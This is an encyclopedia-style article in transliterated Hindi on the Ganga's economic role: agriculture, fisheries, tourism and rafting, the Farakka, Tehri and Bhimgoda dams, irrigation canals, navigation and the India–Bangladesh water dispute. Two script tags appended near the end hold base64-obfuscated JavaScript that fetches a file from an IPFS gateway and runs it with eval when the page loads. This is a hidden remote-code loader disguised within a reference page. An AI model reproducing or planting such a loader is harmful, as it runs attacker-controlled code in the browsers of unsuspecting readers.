गंगा का आर्थिक महत्त्व
[[chitr:Ganga-Haridwar.jpg|thumb|250px|ganga nadi, haridvar]] ganga bharat ki sabase mahattvapoorn nadiyoan mean se ek hai. yah uttar bharat ke maidanoan ki vishal nadi hai. ganga bharat aur baangladesh mean milakar 2,510 kilomitar ki doori tay karati hai. uttaraanchal mean himalay se nikalakar yah bharat ke lagabhag ek-chauthaee bhoo-kshetr se pravahit hoti huee bangal ki kha di mean milati hai. ganga nadi ko uttar bharat ki arthavyavastha ka merudand bhi kaha gaya hai.
phasalean tatha udyog
ganga apani upatyakaoan mean bharat aur baangladesh ke krishi adharit arth mean bhari sahayog to karati hi hai, yah apani sahayak nadiyoan sahit bahut b de kshetr ke lie sianchaee ke barahamasi srot bhi haian. in kshetroan mean ugaee jane vali pradhan upaj mean mukhyatah dhan, ganna, dal, tilahan, aloo evan gehooan haian. jo bharat ki krishi aj ka mahattvapoorn srot haian. ganga ke tatiy kshetroan mean daladal evan jhiloan ke karan yahaan legyoom, mirch, sarasoan, til, ganna aur joot ki achchhi fasal hoti hai. nadi mean matsy udyog bhi bahut zoroan par chalata hai. ganga nadi pranali bharat ki sabase b di nadi pranali hai. isamean lagabhag 375 matsy prajatiyaan upalabdh haian. vaijnanikoan dvara uttar pradesh v bihar mean 111 matsy prajatiyoan ki upalabdhata batayi gayi hai.[1] pharakka baandh ban jane se ganga nadi mean hilsa machhali ke bijotpadan mean sahayata mili hai. [2]
prakritik sauandary
ganga ka mahattv paryatan par adharit ay ke karan bhi hai. isake tat par aitihasik drishti se mahattvapoorn tatha prakritik sauandary se bharapoor kee paryatan sthal hai jo rashtriy ay ka mahattvapoorn srot haian. ganga nadi par raiphtiang ke shiviroan ka ayojan kiya jata hai. jo sahasik kheloan aur paryavaran dvara bharat ke arthik sahayog mean sahayog karate haian. ganga tat ke tin b de shahar haridvar, ilahabad evan varanasi jo tirth sthaloan mean vishesh sthan rakhate haian. is karan yahaan shraddhaluoan ki b di sankhya nirantar bani rahati hai aur dharmik paryatan mean mahattvapoorn yogadan karati hai. garmi ke mausam mean jab paha doan se barf pighalati hai, tab nadi mean pani ki matra v bahav achchha hota hai, is samay uttarakhand mean rrishikesh - badrinath marg par kaudiyala se rrishikesh ke madhy raiphtiang, kyakiang v kainoiang ke shiviroan ka ayojan kiya jata hai, jo sahasik kholoan ke shauqinoan aur paryatakoan ko vishesh roop se akarshit kar ke bharat ke arthik sahayog mean mahattvapoorn bhoomika nibhata hai.[3] [[chitr:Ganga-9.jpg|thumb|darabhanga ghat ganga nadi, varanasi|left|250px]]
baandh evan nadi pariyojanaean
ganga nadi par nirmit anek baandh bharatiy jan-jivan tatha arth vyavastha ka mahattvapoorn aang haian. inamean pramukh haian farakka baandh, tihari baandh, tatha bhimagoda baandh. farakka baandh (bairaj) bharat ke pashchim bangal prant mean sthit ganga nadi par banaya gaya hai. is baandh ka nirman kolakata bandaragah ko gad (silt) se mukt karane ke liye kiya gaya tha jo ki 1950 se 1960 tak is bandaragah ki pramukh samasya thi. kolakata hugali nadi par sthit ek pramukh bandaragah hai. grishm rritu mean hugali nadi ke bahav ko nirantar banaye rakhane ke liye ganga nadi ke jal ke ek b de hisse ko farakka baandh ke dvara hugali nadi mean mo d diya jata hai. ganga par nirmit doosara pramukh baandh tihari baandh tihari vikas pariyojana ka ek prathamik baandh hai jo uttarakhand prant ke tihari zile mean sthit hai. yah baandh ganga nadi ki pramukh sahayogi nadi bhagirathi par banaya gaya hai. tihari baandh ki ooanchaee 261 mitar hai jo ise vishv ka paanchavaan sabase ooancha baandh banati hai. is baandh se 2400 megavat vidyut utpadan, 270,000 hektar kshetr ki sianchaee aur pratidin 102.20 karo d litar peyajal dilli, uttar-pradesh evan uttaraanchal ko upalabdh karana prastavit hai. tisara pramukh baandh bhimagoda baandh haridvar mean sthit hai jisako sanh 1840 mean aangrejo ne ganga nadi ke pani ko vibhajit kar oopari ganga nahar mean mo dane ke liye banavaya tha. yah nahar haridvar ke bhimagoda namak shthan se ganga nadi ke dahine tat se nikalati hai. praramhbh mean is nahar mean jalapoorti ganga nadi mean ek ashthayi b aauandh banakar ki jati thi. varshakal praramhbh hote hi ashthayi b aauandh toot jaya karata tha tatha manasoon avadhi mean nahar mean pani chalaya jata tha. is prakar is nahar se keval rabi ki fasaloan ki hi sianchaee ho pati thi. ashthayi b aauandh nirman shthal ke daunashtrim mean varsh 1978-1984 ki avadhi mean bhimagoda bairaj ka nirman karavaya gaya. isake ban jane ke bad oopari ganga nahar pranali se khariph ki fasal mean bhi pani diya jane laga.
sianchaee
sianchaee ke lie ganga ke pani ka upayog, chahe badh ka pani ho ya phir naharoan ka, puratan kal se hi prachalit hai. is tarah ki sianchaee ka ullekh dharmagranthoan tatha 2,000 se bhi zyada varsh pahale likhe puranoan mean milata hai. chauthi sadi mean yoonan se bharat ae rajadoot megasthaniz ne yahaan sianchaee ke upayog ka ullekh kiya hai. 12vian sadi se muslim kal mean sianchaee pranali bahut vikasit thi aur mugal badashahoan ne bad mean bahut si naharoan ka nirman kiya. bad mean british shasakoan ne sianchaee pranali ka aur bhi vistar kiya. thumb|ahilyabaee ghat, varanasi|right|250px uttar pradesh aur bihar sthit ganga ghati ke krishi kshetroan ko sianchaee naharoan ki pranali se bahut labh hua hai. khasataur se is vikasit sianchaee pranali ke karan ganna, kapas aur tilahan jaisi naqadi fasaloan ki paidavar mean vriddhi sambhav huee. purani naharean mukhyat: ganga-yamuna ke dauab ilaqe mean haian. oopari ganga nahar haridvar se shuroo hoti hai aur apani sahayak naharoan sahit 9,524 kilomitar lambi hai. nichali ganga nahar ki lambaee apani sahayak naharoan sahit 8,238 kilomitar hai aur yah narora se prarambh hoti hai. sharada nahar se uttar pradesh mean ayodhya ki bhoomi sianchi jati hai. ganga ke uttar mean bhoomi ki ooanchaee adhik hone se naharoan ke dvara sianchaee karana kathin hone ke karan bhoomigat jal pamp dvara khianchakar satah par laya jata hai. uttar pradesh aur bihar ke kafi b de ilaqe mean hath se khode hue kuoan se nikali naharoan ke dvara sianchaee ki jati hai.
baangladesh mean ganga-kabadak yojana mukhyat: sianchaee ke lie hi hai aur usamean khulana, jeshor aur kushtiya ziloan ke ve hisse ate haian, jo delta ke kamazor hisse haian, jahaan nadiyoan ka marg gad aur ghani jha diyoan ke karan avaruddh ho chuka hai. is ilaqe mean kul varshik varsha samanyat: 1,524 milimitar se kam hoti hai tatha shit rritu tulanatmak roop se shushk rahati hai. yahaan ki sianchaee pranali bhi naharoan tatha bhoomigat jal khianchane vale vidyutachalit upakaranoan par adharit hai.
naukayan
prachin kal mean ganga aur isaki kuchh sahayak nadiyaan, khasataur se poorab mean, naukayan ke upayukt thian. megasthaniz ke anusar, chauthi shatabdi ee. poo. mean ganga aur isaki pramukh sahayak nadiyoan mean naukayan hota tha. ganga ke besin mean aantardeshiy nadi naukayan 14vian shatabdi tak bhi phal-phool raha tha. 19vian sadi ke ate-ate sianchaee tatha naukayan ke lie upayukt naharoan ki jal parivahan pranali ke pramukh marg ban chuke the. paiandal stimaroan ke agaman se aantardeshiy parivahan mean bhi jo kranti aee, usase bangal aur bihar ke nil udyog ko bahut badhava mila. ganga mean kalakatta se ilahabad aur usase age yamuna mean agara tak tatha udhar brahmaputr tak niyamit stimar sevaean chalane lagian. thumb|left|nav mean ghoomate shraddhalu, ganga nadi, varanasi|250px 19vian sadi ke madhy mean relamargoan ke banane se b de paimane par jal parivahan mean giravat shuroo ho gee. sianchaee hetu pani bahut adhik matra mean khianch lie jane se bhi naukayan viparit roop se prabhavit hua. ab to naukayan keval ilahabad ke asapas ke madhy ganga besin tak hi simit hokar rah gaya hai, jisamean se adhikaansh desi naukaoan par adharit haian.
pashchim bangal tatha baangladesh ab bhi joot, ghas, chay, anaj tatha any krishi aur gramin utpadoan ke parivahan ke lie jalamargoan par nirbhar haian. baangladesh mean chalana, khulana, barisal, chaandapur, narayanaganj, gvalando ghat, sirasaganj, bhairav bazar tatha pheanchooganj aur bharat mean kolakata, golapa da, dhuburi aur dibroogadh pramukh nadi bandaragah haian. 1947 mean bharat ke vibhajan se b de dooragami parivartan hue. kalakatta se asam tak aantardeshiy jalamargoan ke dvara pahale b de paimane par hone vala vyapar lagabhag band hi ho gaya.
baangladesh mean aantardeshiy jal parivahan ki zimmedari aantardeshiy jal parivahan pradhikaran ki hai. bharat mean aantardeshiy jalamargoan ka niti nirdharan kendriy aantardeshiy jal parivahan mandal (seantral v aautar traansaport bord) karata hai. lekin rashtriy jalamargoan ki vyapak pranali ka vikas evan rakh-rakhav aantardeshiy jalamarg (inalaiand v aautaravez ath aauriti) pradhikaran karata hai. ganga ke besin mean ilahabad se lekar haldiya tak lagabhag 1,607 kilomitar lamba jalamarg is pranali mean shamil hai.
delta ke mukh par bharat ki sima ke thik bhitar farakka baandh ka nirman baangladesh aur bharat ke bich vivad ka karan ban gaya hai. bharat ka kahana hai ki gad ke jamane tatha khara pani ghus ane ki vajah se kolakata bandaragah ka patan ho gaya hai. kolakata ki sthiti mean sudhar ke lie khare pani ko nikalakar aur jalastar ko badhakar bharat ne farakka bairaj se ganga ko mo dakar taza pani hasil karane ki koshish ki hai. ab ek b di nahar dvara pani bhagirathi nadi mean laya jata hai, jo kolakata se pare hugali nadi mean samahit hota hai.
baangladesh ka kahana hai ki nadiyoan ke tatavarti deshoan ki paraspar samriddhi ke lie yah zaroori hai ki aantardeshiy nadiyoan ke pani par unaka sanyukt niyantran hona chahie. sianchaee, naukayan tatha khare pani ki rokatham ke lie ganga ka pani baangladesh mean bhi utana hi avashyak hai, jitana bharat ke lie. baangladesh ke anusar, farakka baandh ne use pani ke ek aise bahumooly srot se vanchit kar diya hai, jo ki usaki samriddhi ke lie avashyak hai. doosari taraf bharat gangajal ki samasya ke bare mean dvipakshiy ravaiya apanaye jane ke paksh mean hai. donoan deshoan ke bich kee aantarim samajhaute hue haian, lekin abhi tak is vivad ka koee sthayi hal nahian nikal paya hai. bharat ke asam mean brahmaputr ke pani ko baangladesh se hokar ek nahar dvara ganga mean mo dane ke prastav ke javab mean baangladesh ne sujhaya hai ki poorvi nepal, pashchim bangal hote hue ek nahar baangladesh tak banaee jae. kisi bhi prastav ko sakaratmak pratikriya nahian mili hai. 1987 tatha 1988 mean baangladesh mean aee pralayankari badhoan, jisamean 1988 ki badh us desh ke itihas ki sarvadhik vinashakari badh thi, isako dekhate hue vishv baiank ne is kshetr ke lie ab badh niyantran ki ek dooragami yojana banaee hai. thumb|manamohak drishy, ganga nadi, varanasi|right|300px
panabijali yojana
ganga ki lagabhag 130 lakh kilovat ki anumanit jalavidyut kshamata ka 2/5 hissa bharat mean tatha shesh nepal mean hai. is kshamata mean se kuchh ka dohan bharat ne chanbal aur rihand nadiyoan dvara kiya hai. ganga ka maidan duniya ki sabase ghani abadi vala tatha upajaoo ilaqoan mean se ek hai. chooanki is maidani kshetr mean avarodh n ke barabar hai, isilie ganga ki dhara adhikaansh ilaqe mean chau di v dhimi gati se pravahit hai. usake kul apavah besin ka 9,75,900 varg kilomitar kshetraphal, yani bharat ke kul kshetr ka lagabhag chauthaee hissa hai aur us par lagabhag 50 karo d ki abadi nirbhar karati hai. is besin ki bhoomi par gahan kheti hoti hai. ganga pranali ki jalapoorti aanshik roop se julaee se aktoobar ke bich hone vali manasoon ki varsha aur aprॅl se joon ke bich himalay par garmi se pighalane vali barf par nirbhar karati haian.
bharatiy upamahadvip ka yah vistrit uttar-madhy khand, jise uttar bharatiy maidan bhi kaha jata hai, pashchim mean brahmaputr nadi ghati aur ganga ke delta se lekar siandhu nadi ghati tak phaila hua hai. is ilaqe mean is upamahadvip ke sabase samriddh aur saghan janasankhya vale kshetr haian. is maidan ka adhikaansh hissa ganga aur brahmaputr nadiyoan ke dvara poorv mean siandh nadi dvara pashchim mean bahakar laee gee kachhari mitti se bana hua hai. maidan ke poorvi hissoan mean kam barish ya sardiyaan shushk hoti haian. kintu manasoon ki varsha itani adhik hoti hai ki b de-b de ilaqoan mean daladal ya uthali jhilean ban jati haian. jyoan-jyoan pashchim ki or badhate haian, yah maidan shushk hota chala jata hai aur ant mean thar ke registan mean badal jata hai.
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ prashikshan evan prasar sanbandhi mainual (echatiem) matsy vibhag, uttar pradesh (2007).
- ↑ hilsa bridiang end hilsah haicheri (aangrezi) si.aee.eph.ar.aee..
- ↑ raphtiang (echatiemel) uttarakhand portal (2007). abhigaman tithi: 22 joon, 2009.
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>